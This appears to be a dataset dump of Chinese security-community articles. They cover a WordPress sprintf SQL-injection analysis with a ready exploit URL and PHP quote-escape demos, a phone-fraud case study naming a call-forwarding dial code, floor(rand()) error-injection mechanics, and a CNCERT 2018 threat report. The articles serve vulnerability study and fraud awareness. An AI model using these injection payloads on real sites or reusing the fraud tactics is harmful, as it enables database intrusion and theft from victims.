text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
作者：SeaFood@知道创宇404实验室
#### 0x00 背景
近日，WordPress爆出了一个[SQLi漏洞](https://www.seebug.org/vuldb/ssvid-96376)，漏洞发生在WP的后台上传图片的位置，通过修改图片在数据库中的参数，以及利用php的`sprintf`函数的特性，在删除图片时，导致`'`单引号的逃逸。漏洞利用较为困难，但思路非常值得学习。
#### 0x01 漏洞分析
漏洞发生在 **wp-admin/upload.php** 的157行，进入删除功能，
之后进入函数`wp_delete_attachment( $post_id_del )`， **$post_id_del** 可控，而且没有做
**(int)** 格式转化处理。
**wp_delete_attachment** 位于`wp-includes\post.php`的 4863 行。其中
图片的post_id被带入查询， **$wpdb- >prepare**中使用了 **sprintf** ，会做自动的类型转化，可以输入`22
payload`，会被转化为`22`，因而可以绕过。
之后进入4898行的`delete_metadata( 'post', null, '_thumbnail_id', $post_id, true
);`函数。
**delete_metadata** 函数位于`wp-includes\meta.php`的307行，
在这里代码拼接出了如下sql语句， **meta_value** 为传入的 **media** 参数
SELECT meta_id FROM wp_postmeta WHERE meta_key = '_thumbnail_id' AND meta_value = 'payload'
之后这条语句会进入查询，结果为真代码才能继续，所以要修改 **_thumbnail_id** 对应的 **meta_value**
的值为payload，保证有查询结果。
因此，我们需要上传一张图片，并在`写文章`中设置为 **特色图片** 。
在数据库的`wp_postmeta`表中可以看到，`_thumbnail_id`即是特色图片设定的值，对应的 **meta_value** 即图片的
**post_id** 。
原文通过一个 WP<4.7.5 版本的xmlrpc漏洞修改`_thumbnail_id`对应 **meta_value**
的值，或通过插件`importer`修改。这里直接在数据库里修改，修改为我们的payload。
之后在365行，此处便是漏洞的核心，问题在于代码使用了两次`sprintf`拼接语句，导致可控的payload进入了第二次的`sprintf`。输入payload为`22
%1$%s hello`
代码会拼接出sql语句，带入 **$wpdb- >prepare**
SELECT post_id FROM wp_postmeta WHERE meta_key = '%s' AND meta_value = '22 %1$%s hello'
进入 **$wpdb- >prepare**后，代码会将所有`%s`转化为`'%s'`，即`meta_value = '22 %1$'%s' hello'`
因为 **sprintf** 的问题 (vsprintf与sprintf类似)
，`'%s'`的前一个`'`会被吃掉，`%1$'%s`被格式化为_thumbnail_id ，最后格式化字符串出来的语句会变成
单引号成功逃逸！
最后payload为
http://localhost/wp-admin/upload.php?action=delete&media[]=22%20%251%24%25s%20hello&_wpnonce=bbba5b9cd3
这个SQL注入不会报错，只能使用延时注入，而且需要后台的上传权限，所以利用起来比较困难。
#### 0x02 漏洞原理
上述WordPress的SQLi的核心问题在于在`sprintf`中，`'%s'`的前一个`'`被吃掉了，这里利用了`sprintf`的`padding`功能
单引号后的一个字符会作为padding填充字符串。
此外，`sprintf`函数可以使用下面这种写法
**%** 后的数字代表第几个参数， **$** 后代表类型。
所以，payload`%1$'%s'`中的`'%`被视为使用`%`进行 padding，导致了`'`的逃逸。
#### 0x03 php格式化字符串
但在测试过程中，还发现其他问题。php的`sprintf`或`vsprintf`函数对格式化的字符类型没做检查。
如下代码是可以执行的，显然php格式化字符串中并不存在`%y`类型，但php不会报错，也不会输出`%y`，而是输出为空
<?php
$query = "%y";
$args = 'b';
echo sprintf( $query, $args ) ;
?>
通过fuzz得知，在php的格式化字符串中，%后的一个字符(除了`'%'`)会被当作字符类型，而被吃掉，单引号`'`，斜杠`\`也不例外。
如果能提前将`%' and 1=1#`拼接入sql语句，若存在SQLi过滤，单引号会被转义成`\'`
select * from user where username = '%\' and 1=1#';
然后这句sql语句如果继续进入格式化字符串，`\`会被`%`吃掉，`'`成功逃逸
<?php
$sql = "select * from user where username = '%\' and 1=1#';";
$args = "admin";
echo sprintf( $sql, $args ) ;
//result: select * from user where username = '' and 1=1#'
?>
不过这样容易遇到`PHP Warning: sprintf(): Too few arguments`的报错。
还可以使用`%1$`吃掉后面的斜杠，而不引起报错。
<?php
$sql = "select * from user where username = '%1$\' and 1=1#' and password='%s';";
$args = "admin";
echo sprintf( $sql, $args) ;
//result: select * from user where username = '' and 1=1#' and password='admin';
?>
通过翻阅php的[源码](https://github.com/php/php-src/blob/master/ext/standard/formatted_print.c)，在`ext/standard/formatted_print.c`的642行
可以发现php的`sprintf`是使用switch..case..实现，对于未知的类型`default`，php未做任何处理，直接跳过，所以导致了这个问题。
在[高级php代码审核技术](https://github.com/80vul/pasc2at)中的5.3.5中，提及过使用`$order_sn=substr($_GET["order_sn"],
1)`截断吃掉`\`或`"`。
之前也有过利用[iconv](https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html)转化字符编码，`iconv('utf-8', 'gbk',
$_GET['word'])`因为utf-8和gbk的长度不同而吃掉`\`。
几者的问题同样出现在字符串的处理，可以导致`'`的转义失败或其他问题，可以想到其他字符串处理函数可能存在类似的问题，值得去继续发掘。
#### 0x04 利用条件
1. 执行语句使用`sprintf`或`vsrptinf`进行拼接
2. 执行语句进行了两次拼接，第一次拼接的参数内容可控，类似如下代码
<?php
$input = addslashes("%1$' and 1=1#");
$b = sprintf("AND b='%s'", $input);
...
$sql = sprintf("SELECT * FROM t WHERE a='%s' $b", 'admin');
echo $sql;
//result: SELECT * FROM t WHERE a='admin' AND b=' ' and 1=1#'
#### 0x05 总结
此次漏洞的核心还是`sprintf`的问题，同一语句的两次拼接，意味着可控的内容被带进了格式化字符串，又因为`sprintf`函数的处理问题，最终导致漏洞的发生。
此问题可能仍会出现在WordPress的插件，原文的评论中也有人提到曾在Joomla中发现过类似的问题。而其他使用`sprintf`进行字符串拼接的cms，同样可能因此导致SQL注入和代码执行等漏洞。
#### 0x06 参考链接
<https://medium.com/websec/wordpress-sqli-bbb2afcc8e94>
<https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e>
<http://php.net/manual/zh/function.sprintf.php>
<https://github.com/php/php-src/blob/c8aa6f3a9a3d2c114d0c5e0c9fdd0a465dbb54a5/ext/standard/formatted_print.c>
<https://www.seebug.org/vuldb/ssvid-96376>
**\------------------------------------2017.11.01
更新------------------------------------**
#### 0x07 WordPress 4.8.2补丁问题
国外安全研究人员[Anthony Ferrara](https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-technical.html)给出了另一种此漏洞的利用方式，并指出了WordPress
4.8.2补丁存在的问题。
如下代码
<?php
$input1 = '%1$c) OR 1 = 1 /*';
$input2 = 39;
$sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";
$sql = sprintf($sql, $input2);
echo $sql;
//result: SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*') AND baz = 39
`%c`起到了类似`chr()`的效果，将数字39转化为`'`，从而导致了sql注入。
对此，WordPress 4.8.2补丁在`WPDB::prepare()`中加入
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query );
从而，禁用了除`%d`，`%s`，`%F`之外的格式，这种方法导致了三个问题。
1.大量开发者在开发过程中使用了例如`%1$s`的格式，此次补丁导致代码出错。
2.在例如以下代码中
$db->prepare("SELECT * FROM foo WHERE name= '%4s' AND user_id = %d", $_GET['name'], get_current_user_id());
`%4s`会被替换成`%%4s`
，`%%`在sprintf中代表字符`%`，没有格式化功能。所以，`$_GET['name']`会被写到`%d`处，攻击者可以控制user
id，可能导致越权问题的出现。
3.补丁可以被绕过
在`meta.php`的漏洞处
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
如果输入
$meta_value = ' %s ';
$meta_key = ['dump', ' OR 1=1 /*'];
之后两次进入`prepare()`，因为
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query );
使得`%s`变为`''%s''`
最后结果
SELECT type FROM table WHERE meta_key = 'dump' AND meta_value = '' OR 1=1 /*''
WordPress也承认这是一个[错误的修复](https://core.trac.wordpress.org/ticket/41925)。
在WordPress
4.8.3的补丁中，一是修改了`meta.php`中两次使用`prepare()`的问题，二是使用随机生成的[占位符](https://make.wordpress.org/core/2017/10/31/changed-behaviour-of-esc_sql-in-wordpress-4-8-3/)替换`%`，在进入数据库前再替换回来。
* * * | 社区文章 |
# 不安全的中间件——Tomcat
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：<https://mp.weixin.qq.com/s/MmLhJ2EbvmuJx2YTSeeTyQ>
译文仅供参考，具体内容表达以及含义原文为准。 | 社区文章 |
# #博士生被骗10万#，学历高活该被骗吗？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
#中南财大博士生被骗10万#
迅速成了互联网热议，不少网友针对受害人智商、学历进行人身攻击，在他们眼中，这么“简单”的骗局还被骗，受害人就是傻、就是蠢。然而，作为安全研究人员，在与诈骗团伙斗争的过程中，我们深深的了解到，受害人在接到诈骗电话的那一刻，其面对着是掌握你个人信息、熟背诈骗话术、熟悉犯罪心理学的职业化诈骗团伙。你的每一句回复、你的心态变化都在对方的话术册里，没有身处在诈骗场景中，很难识别出真假。近期，360手机先赔也接到了用户举报，反馈其遭受了精准的注销贷款诈骗，被骗了十几万元！
## 案例经过
用户收到归属地为陕西西安、自称为支付宝工作人员的电话，电话中表示，根据国家二号文件规定，需要对支付宝的学生认证信息进行修改，并准确说出了用户的学校信息。
用户对来电号码的归属地产生怀疑，对方表示使用了虚拟归属地设置。为进一步打消用户的顾虑，表示可以给用户发送一条“支付宝”短信。用户收到短信后，便深信不疑。
按照对方要求添加了蚂蚁金服服务中心的QQ账号，群内自称为支付宝技术人员要求用户根据提示完成操作：
转账完成后并没有看到对方描述的银监会弹窗提示，用户有些质疑。对方表示由于用户信息被盗取，导致操作未完成，如果想提现，需要缴纳一笔保障金。用户按照要求，将29427.63元转向对方指定的账户。
双方发生争执后，对方称经理人员接入，经理人员表示，证券会处理数据有时效性，为了返还操作失误的资金丢失，需要进行资金对冲，先后诱导用户通过微粒贷借贷13000元，花呗34240元、同学及家人借贷53000元并转向指定的账户。随后发现被骗，受害人被移出QQ群。
## 案例分析
为了让受害人完全相信自己，在此案例中骗子又使用了如下几种方式：
### 1、骗子是如何让用户相信自己是支付宝员工？
使用受害人的手机号登录支付宝，登录方式选择短信验证，此时受害人的手机会收到支付宝的登录校验短信。
### 2、为什么让用户拨打”**21*01066279113#”?
拨打号码”**21*01066279113#”的实质，是对手机设置了呼叫转移，来电会被转接到银监会的电话01066279113，这样的操作，既能让受害人相信自己，也能及时阻断反诈民警的来电提醒。
在此类身份冒充诈骗，骗子精准的掌握个人信息是关键。通过监控的黑灰产渠道贩卖的用户贷款信息资料表，可以看到十分详细的用户隐私信息。（以下图片信息有效性无法确认）
### 电商平台数据
包含订单号、下单时间、收货人、地址、手机号，掌握了这些信息，也就能准确的知道用户的网购行为。
包含来源网站、订花人姓名、电话、收花人姓名、电话、地址、送达时间、订单金额等。
### 大学生信息
包含学校、专业、学院、地区、姓名、学历、性别、身份证号码、出生日期、入学年份、毕业时间、准考证号、学号、家庭住址、家庭联系电话、手机、qq、邮箱。
### 网络贷款
姓名、手机号、身份证号、申贷金额、还款周期。
## 安全课堂
此类身份冒充诈骗，就是掌握了用户精准的个人信息，实施的定向诈骗。不听、不信、不转账，其中的道理真的不是说说而已。就像赌场千术骗局，老千台下苦练多年，又专研过你的生活习惯，赌桌棋牌也是特意定制，所有陷进都是为你量身定做的，就为了台上骗你的那一刻。 | 社区文章 |
1.提出问题：
对于这个问题，出发点是看见报错注入分析中（<https://xz.aliyun.com/t/253>）说，“010和101开头的序列不会产生报错”。当时就在想按照原理不应该是确定4位才可以保证无法通过注入嘛？（这是第一个问题），然后我在自己的mysql上试了试，又发现当一张表里有四条数据时rand(1)
_2在count（）后出现的“怪事”。（这是第二个问题）
为啥floor(rand(1)_2)中产生的序列是0100，但count（）后结果却是0和1分别出现2次 ?
按照当下思路的分析（默认你会分析rand(0)*2），这里的结果是0和1 各是1次。但这里为什么出现的是2次呢？刚开始我也充满了疑问。。。
2.问题分析与解决。
* 问题一：
答案：上述文章中关于0,1,0和1,0,1序列即可避免报错，这一说法是错误的。要保证无论如何都不会报错必须，至少确定4位序列，即0,1,0,0
或0,0,1,1或1,0,1,1或1,1,0,0。（有且只有这四种）
论证：为什么三位不行？
* 问题二:
出现这种问题的原因是没有清楚理解count（），floor（rand（ _）_ 2），group by（）这三个函数的内涵。
mysql官方有给过提示，就是查询的时候如果使用rand()的话，该值会被计算多次，那这个“被计算多次”到底是什么意思，就是在使用group
by的时候，floor(rand(0)
_2)会被执行一次，如果虚表不存在记录，插入虚表的时候会再被执行一次。即当虚表中已经出现有0和1这两个键的时候，则rand函数只会执行一次并被count（）到虚表。所以说，要产生主键重复的这类报错注入，必须在虚表没有包含0,1两个键之前进行！
select count(_) from referers group by floor(rand(1) _2);
这条语句中count(_)的值数相加是等于referers表中的条数的，而floor(rand(1)
_2)的值，一部分，用于验证虚表中是否有这键，另一部分则是虚表中的键和对相同键的累加计数（count）。即建立虚表，floor(rand(1)_ 2)条目数
> referers条目数。
好了，理解到这里已经成功一半多了。可能你还是不懂上面floor（rand（1）*2）产生的0100的序列，可最后count后居然0和1各占两个。先在我们用例子来说明一下。
举例：
users是一个条数比referers多的表，通过此命令我们可以发现rand（1）更长的序列，我们就可以分析出，
select count( _) from referers group by floor(rand(1)_ 2);
第一次查询，虚表中添加的键是1（rand执行2次）；
第二次查询，虚表中添加的键是0（rand执行2次）；
第三次查询，结果是0（rand执行1次）；
第四次查询，结果是1（rand执行1次）。
最后查询语句select执行了共4次，rand共执行了6次。
所以最后会产生开篇那样两个键的值都是2的结果。 | 社区文章 |
# 2018年我国互联网网络安全态势报告
##### 译文声明
本文是翻译文章，文章原作者 CNCERT，文章来源：CNCERT
原文地址：<https://mp.weixin.qq.com/s/-p7Uf9vdoJPTgKVAEPpbYA>
译文仅供参考，具体内容表达以及含义原文为准。
2018年，我国进一步健全网络安全法律体系，完善网络安全管理体制机制，持续加强公共互联网网络安全监测和治理，构建互联网发展安全基础，构筑网民安全上网环境，特别是在党政机关和重要行业方面，网络安全应急响应能力不断提升，恶意程序感染、网页篡改、网站后门等传统的安全问题得到有效控制。全年未发生大规模病毒爆发、大规模网络瘫痪的重大事件，但关键信息基础设施、云平台等面临的安全风险仍较为突出，APT攻击、数据泄露、分布式拒绝服务攻击（以下简称“DDoS攻击”）等问题也较为严重。
### （一）我国网络安全法律法规政策保障体系逐步健全
自我国《网络安全法》于2017年6月1日正式实施以来，我国网络安全相关法律法规及配套制度逐步健全，逐渐形成综合法律、监管规定、行业与技术标准的综合化、规范化体系，我国网络安全工作法律保障体系不断完善，网络安全执法力度持续加强。2018年，全国人大常委会发布《十三届全国人大常委会立法规划》，包含个人信息保护、数据安全、密码等方面。党中央、国务院各部门相继发力，网络安全方面法规、规章、司法解释等陆续发布或实施。《网络安全等级保护条例》已向社会公开征求意见，《公安机关互联网安全监督检查规定》、《关于加强跨境金融网络与信息服务管理的通知》、《区块链信息服务管理规定》、《关于加强政府网站域名管理的通知》等加强网络安全执法或强化相关领域网络安全的文件发布。
### （二）我国互联网网络安全威胁治理取得新成效
我国互联网网络安全环境经过多年的持续治理效果显著，网络安全环境得到明显改善。特别是党中央加强了对网络安全和信息化工作的统一领导，党政机关和重要行业加强网络安全防护措施，针对党政机关和重要行业的木马僵尸恶意程序、网站安全、安全漏洞等传统网络安全事件大幅减少。2018年，CNCERT协调处置网络安全事件约10.6万起，其中网页仿冒事件最多，其次是安全漏洞、恶意程序、网页篡改、网站后门、DDoS攻击等事件。CNCERT持续组织开展计算机恶意程序常态化打击工作，2018年成功关闭772个控制规模较大的僵尸网络，成功切断了黑客对境内约390万台感染主机的控制。据抽样监测，在政府网站安全方面，遭植入后门的我国政府网站数量平均减少了46.5%，遭篡改网站数量平均减少了16.4%，显示我国政府网站的安全情况有所好转。在主管部门指导下，CNCERT联合基础电信企业、云服务商等持续开展DDoS攻击资源专项治理工作，从源头上遏制了DDoS攻击行为，有效降低了来自我国境内的攻击流量。据CNCERT抽样监测，2018年境内发起DDoS攻击的活跃控制端数量同比下降46%、被控端数量同比下降37%；境内反射服务器、跨域伪造流量来源路由器、本地伪造流量来源路由器等可利用的攻击资源消亡速度加快、新增率降低。根据外部报告，我国境内僵尸网络控制端数量在全球的排名从前三名降至第十名
，DDoS活跃反射源下降了60% ①。
### （三）勒索软件对重要行业关键信息基础设施威胁加剧
2018年勒索软件攻击事件频发，变种数量不断攀升，给个人用户和企业用户带来严重损失。2018年，CNCERT捕获勒索软件近14万个，全年总体呈现增长趋势，特别在下半年，伴随“勒索软件即服务”产业的兴起，活跃勒索软件数量呈现快速增长势头，且更新频率和威胁广度都大幅度增加，例如勒索软件GandCrab全年出现了约19个版本，一直快速更新迭代。勒索软件传播手段多样，利用影响范围广的漏洞进行快速传播是当前主要方式之一，例如勒索软件Lucky通过综合利用弱口令漏洞、Window
SMB漏洞、Apache Struts
2漏洞、JBoss漏洞、Weblogic漏洞等进行快速攻击传播。2018年，重要行业关键信息基础设施逐渐成为勒索软件的重点攻击目标，其中，政府、医疗、教育、研究机构、制造业等是受到勒索软件攻击较严重行业。例如GlobeImposter、GandCrab等勒索软件变种攻击了我国多家医疗机构，导致医院信息系统运行受到严重影响。
### （四）越来越多的APT攻击行为被披露
2018年，全球专业网络安全机构发布了各类高级威胁研究报告478份，同比增长了约3.6倍，其中我国12个研究机构发布报告80份，这些报告涉及已被确认的APT攻击组织包括APT28、Lazarus、Group
123、海莲花、MuddyWater等53个，攻击目标主要分布在中东、亚太、美洲和欧洲地区，总体呈现出地缘政治紧密相关的特性，受攻击的领域主要包括军队国防、政府、金融、外交和能源等。值得注意的是，医疗、传媒、电信等国家服务性行业领域也正面临越来越多的APT攻击风险。②
APT攻击组织采用的攻击手法主要以鱼叉邮件攻击、水坑攻击、网络流量劫持或中间人攻击等，其频繁利用公开或开源的攻击框架和工具，并综合利用多种技术以实现攻击，或规避与历史攻击手法的重合。
### （五）云平台成为发生网络攻击的重灾区
根据CNCERT监测数据，虽然国内主流云平台使用的IP地址数量仅占我国境内全部IP地址数量的7.7%，但云平台已成为发生网络攻击的重灾区，在各类型网络安全事件数量中，云平台上的DDoS攻击次数、被植入后门的网站数量、被篡改网站数量均占比超过50%。同时，国内主流云平台上承载的恶意程序种类数量占境内互联网上承载的恶意程序种类数量的53.7%，木马和僵尸网络恶意程序控制端IP地址数量占境内全部恶意程序控制端IP地址数量的59%，表明攻击者经常利用云平台来发起网络攻击。分析原因，云平台成为网络攻击的重要目标是因为大量系统部署到云上，涉及国计民生、企业运营的数据和用户个人信息，成为攻击者攫取经济利益的目标。从云平台上发出的攻击增多是因为云服务使用存在便捷性、可靠性、低成本、高带宽和高性能等特性，且云网络流量的复杂性有利于攻击者隐藏真实身份，攻击者更多的利用云平台设备作为跳板机或控制端发起网络攻击。此外，云平台用户对其部署在云平台上系统的网络安全防护重视不足，导致其系统可能面临更大的网络安全风险。因此，云服务商和云用户都应加大对网络安全的重视和投入，分工协作提升网络安全防范能力。云服务商应提供基础性的网络安全防护措施并保障云平台安全运行，全面提高云平台的安全性和可控性。云用户对部署在云平台上的系统承担主体责任，需全面落实系统的网络安全防护要求。
### （六）拒绝服务攻击频次下降但峰值流量持续攀升
DDoS攻击是难以防范的网络攻击手段之一，攻击手段和强度不断更新，并逐步形成了“DDoS即服务”的互联网黑色产业服务，普遍用于行业恶意竞争、敲诈勒索等网络犯罪。得益于我国网络空间环境治理取得的有效成果，经过对DDoS攻击资源的专项治理，我国境内拒绝服务攻击频次总体呈现下降趋势。根据第三方分析报告，2018年我国境内全年DDoS攻击次数同比下降超过20%，特别是反射攻击较去年减少了80%
。③CNCERT抽样监测发现，2018年我国境内峰值流量超过Tbps级的DDoS攻击次数较往年增加较多，达68起。其中，2018年12月浙江省某IP地址遭DDoS攻击的峰值流量达1.27Tbps。
### （七）针对工业控制系统的定向性攻击趋势明显
2018年，针对特定工业系统的攻击越来越多，并多与传统攻击手段结合，针对国家工业控制系统的攻击日益呈现出定向性特点。恶意软件Trisis利用施耐德Triconex安全仪表控制系统零日漏洞，攻击了中东某石油天然气工厂，致其工厂停运。分析发现，Trisis完整的文件库通过五种不同的编程语言构建，因其定向性的特点，仅能在其攻击的同款工业设备上测试才能完全了解该恶意软件。2018年中期，恶意软件GreyEnergy被捕获，主要针对运行数据采集与监视控制系统（SCADA）软件和服务器的工业控制系统工作站，具有模块化架构，功能可进一步扩展，可进行后门访问、窃取文件、抓取屏幕截图、记录敲击键和窃取凭据等操作。2018年，CNCERT抽样监测发现，我国境内联网工业设备、系统、平台等遭受恶意嗅探、网络攻击的次数显著提高，虽未发生重大安全事件，但需提高警惕，引起重视。
### （八）虚假和仿冒移动应用增多且成为网络诈骗新渠道
近年来，随着互联网与经济、生活的深度捆绑交织，通过互联网对网民实施远程非接触式诈骗手段不断翻新，先后出现了“网络投资”、“网络交友”、“网购返利”等新型网络诈骗手段。随着我国移动互联网技术的快速发展和应用普及，2018年通过移动应用实施网络诈骗的事件尤为突出，如大量虚假的“贷款APP”并无真实贷款业务，仅用于诈骗分子骗取用户的隐私信息和钱财。CNCERT抽样监测发现，在此类虚假的“贷款APP”上提交姓名、身份证照片、个人资产证明、银行账户、地址等个人隐私信息的用户超过150万人，大量受害用户向诈骗分子支付了上万元的所谓“担保费”、“手续费”费用，经济利益受到实质损害。此外，CNCERT还发现，具有与正版软件相似图标或名字的仿冒APP数量呈上升趋势。2018年，CNCERT通过自主监测和投诉举报方式共捕获新增金融行业移动互联网仿冒APP
样本838个，同比增长了近3.5倍，达近年新高。这些仿冒APP通常采用“蹭热度”的方式来传播和诱惑用户下载并安装，可能会造成用户通讯录和短信内容等个人隐私信息泄露，或在未经用户允许的情况下私自下载恶意软件，造成恶意扣费等危害。
### （九）数据安全问题引起前所未有的关注
2018年3月，Facebook公司被爆出大规模数据泄露，且这些泄露的数据被恶意利用，引起国内外普遍关注。2018年，我国也发生了包括十几亿条快递公司的用户信息、2.4亿条某连锁酒店入住信息、900万条某网站用户数据信息、某求职网站用户个人求职简历等数据泄露事件，这些泄露数据包含了大量的个人隐私信息，如姓名、地址、银行卡号、身份证号、联系电话、家庭成员等，给我国网民人身安全、财产安全带来了安全隐患。2018年5月25日，欧盟颁布执行史上最严的个人数据保护条例《通用数据保护条例》（GDPR），掀起了国内外的广泛讨论，该法案重点保护的是自然人的“个人数据”，例如姓名、地址、电子邮件地址、电话号码、生日、银行账户、汽车牌照、IP地址以及cookies等。根据定义，该法案监管收集个人数据的行为，包括所有形式的网络追踪。GDPR实施三天后，Facebook和谷歌等美国企业成为GDPR法案下第一批被告，这不仅给业界敲响了警钟，也督促更多企业投入精力保护数据安全尤其是个人隐私数据安全。
## 二、2019年网络安全趋势预测
结合2018年我国网络安全状况，以及5G、IPv6、区块链等新技术的发展和应用，CNCERT预测2019年网络安全趋势主要如下：
### （一）有特殊目的针对性更强的网络攻击越来越多
目前，网络攻击者发起网络攻击的针对性越来越强，有特殊目的的攻击行动频发。近年来，有攻击团伙长期以我国政府部门、事业单位、科研院所的网站为主要目标实施网页篡改，境外攻击团伙持续对我政府部门网站实施DDoS攻击。网络安全事件与社会活动紧密结合趋势明显，网络攻击事件高发。
### （二）国家关键信息基础设施保护受到普遍关注
作为事关国家安全、社会稳定和经济发展的战略资源，国家关键信息基础设施保护的工作尤为重要。当前，应用广泛的基础软硬件安全漏洞不断被披露、具有特殊目的的黑客组织不断对我国关键信息基础设施实施网络攻击，我国关键信息基础设施面临的安全风险不断加大。2018年，APT攻击活动持续活跃，我国多个重要行业遭受攻击。随着关键信息基础设施承载的信息价值越来越大，针对国家关键信息基础设施的网络攻击将会愈演愈烈。
### （三）个人信息和重要数据泄露危害更加严重
2018年Facebook信息泄露事件让我们重新审视个人信息和重要数据的泄露可能引发的危害，信息泄露不仅侵犯网民个人利益，甚至可能对国家政治安全造成影响。2018年我国境内发生了多起个人信息和重要数据泄露事件，犯罪分子利用大数据等技术手段，整合获得的各类数据，可形成对用户的多维度精准画像，所产生的危害将更为严重。
### （四）5G、IPv6等新技术广泛应用带来的安全问题值得关注
目前，我国5G、IPv6规模部署和试用工作逐步推进，关于5G、IPv6自身的安全问题以及衍生的安全问题值得关注。5G技术的应用代表着增强的移动宽带、海量的机器通信以及超高可靠低时延的通信，与IPv6技术应用共同发展，将真正实现让万物互联，互联网上承载的信息将更为丰富，物联网将大规模发展。但重要数据泄露、物联网设备安全问题目前尚未得到有效解决，物联网设备被大规模利用发起网络攻击的问题也将更加突出。同时，区块链技术也受到国内外广泛关注并快速应用，从数字货币到智能合约，并逐步向文化娱乐、社会管理、物联网等多个领域延伸。随着区块链应用的范围和深度逐渐扩大，数字货币被盗、智能合约、钱包和挖矿软件漏洞等安全问题将会更加凸显。
## 附录：2018年我国互联网网络安全监测数据分析
### 一、恶意程序
**（一）计算机恶意程序捕获情况**
2018年，CNCERT全年捕获计算机恶意程序样本数量超过1亿个，涉及计算机恶意程序家族51万余个，较2017年增加8,132个。全年计算机恶意程序传播次数
日均达500万余次。按照计算机恶意程序传播来源统计，位于境外的主要是来自美国、加拿大和俄罗斯等国家和地区，来自境外的具体分布如图1所示。位于境内的主要是位于陕西省、浙江省和河南省等省份。按照受恶意程序攻击的IP统计，我国境内受计算机恶意程序攻击的IP地址约5,946万个，约占我国IP总数的17.5%，这些受攻击的IP地址主要集中在江苏省、山东省、浙江省、广东省等地区，2018年我国受计算机恶意程序攻击的IP分布情况如图2所示。
图1 2018年计算机恶意代码传播源位于境外分布情况
图2 2018年我国受计算机恶意代码攻击的IP分布情况
**（二）计算机恶意程序用户感染情况**
据CNCERT抽样监测，2018年，我国境内感染计算机恶意程序的主机数量约655万台，同比下降47.8%，如图3所示。位于境外的约4.9万个计算机恶意程序控制服务器控制了我国境内约526万台主机，就控制服务器所属国家来看，位于美国、日本和德国的控制服务器数量分列前三位，分别是约14,752个、6,551个和2,166个；就所控制我国境内主机数量来看，位于美国、中国香港和法国的控制服务器控制规模分列前三位，分别控制了我国境内约334万、48万和33万台主机。
图3 境内感染计算机恶意程序主机数量变化
我国境内感染计算机恶意程序主机数量地区分布来看，主要分布在广东省（占我国境内感染数量的10.9%）、江苏省（占9.9%）、浙江省（占9.4%）等省份，但从我国境内各地区感染计算机恶意程序主机数量所占本地区活跃IP地址数量比例来看，河南省、江苏省和广西壮族自治区分列前三位，如图4所示。在监测发现的因感染计算机恶意程序而形成的僵尸网络中，规模在100台主机以上的僵尸网络数量达3,710个，规模在10万台以上的僵尸网络数量达36个，如图5所示。为有效控制计算机恶意程序感染主机引发的危害，2018年，CNCERT组织基础电信企业、域名服务机构等成功关闭772个控制规模较大的僵尸网络。根据第三方统计报告，位于我国境内的僵尸网络控制端数量在全球的排名情况以及在全球控制端总数量的占比均呈现下降趋势④。
图4 我国各地区感染计算机恶意程序主机数量占本地区活跃IP地址数量比例
图5 2018年僵尸网络的规模分布
**（三）移动互联网恶意程序**
目前，随着移动互联网技术快速发展，我国移动互联网网民数量突破8.17亿（占我国网民总数量的98.6%）⑤，金融服务、生活服务、支付业务等全面向移动互联网应用迁移。但窃取用户信息、发送垃圾信息、推送广告和欺诈信息等危害移动互联网正常运行的恶意行为在不断侵犯广大移动用户的合法利益。2018年，CNCERT通过自主捕获和厂商交换获得移动互联网恶意程序数量283万余个，同比增长11.7%，尽管近三年来增长速度有所放缓，但仍保持高速增长趋势，如图6所示。通过对恶意程序的恶意行为统计发现，排名前三的分别为流氓行为类、资费消耗类和信息窃取类
，占比分别为45.8%、24.3%和14.9%，如图7所示。为有效防范移动互联网恶意程序的危害，严格控制移动互联网恶意程序传播途径，连续6年以来，CNCERT联合应用商店、云平台等服务平台持续加强对移动互联网恶意程序的发现和下架力度，以保障移动互联网健康有序发展。2018年，CNCERT累计协调国内314家提供移动应用程序下载服务的平台，下架3517个移动互联网恶意程序。
图6 2010年至2018年移动互联网恶意程序捕获数量走势
图7 2018年移动互联网恶意程序数量按行为属性统计
**（四）联网智能设备恶意程序**
据CNCERT监测发现，目前活跃在智能联网设备上的恶意程序家族主要包括Ddosf、Dofloo、Gafgyt、MrBlack、Persirai、Sotdas、Tsunami、Triddy、Mirai、Moose、Teaper、Satori、StolenBots、VPN-Filter等。这些恶意程序及其变种产生的主要危害包括用户信息和设备数据泄露、硬件设备遭控制和破坏、被用于DDoS攻击或其他恶意攻击行为、攻击路由器等网络设备窃取用户上网数据等。CNCERT抽样监测发现，2018年，联网智能设备恶意程序控制服务器IP地址约2.3万个，位于境外的IP地址占比约87.5%；被控联网智能设备IP地址约446.8万个，位于境内的IP地址占比约34.6%，其中山东、浙江、河南、江苏等地被控联网智能设备IP地址数量均超过10万个；控制联网智能设备且控制规模在1,000台以上的僵尸网络有363个，其中，控制规模在1万台以上的僵尸网络19个，5万台以上的8个，如表1所示。
表1 2018年联网智能设备僵尸网络控制规模统计情况
### 二、安全漏洞
**（一）安全漏洞收录情况**
2014年以来，国家信息安全漏洞共享平台（CNVD）
收录安全漏洞数量年平均增长率为15.0%，其中，2018年收录安全漏洞数量同比减少了11.0%，共计14,201个，高危漏洞收录数量为4,898个（占34.5%），同比减少12.8%，但近年来“零日”漏洞
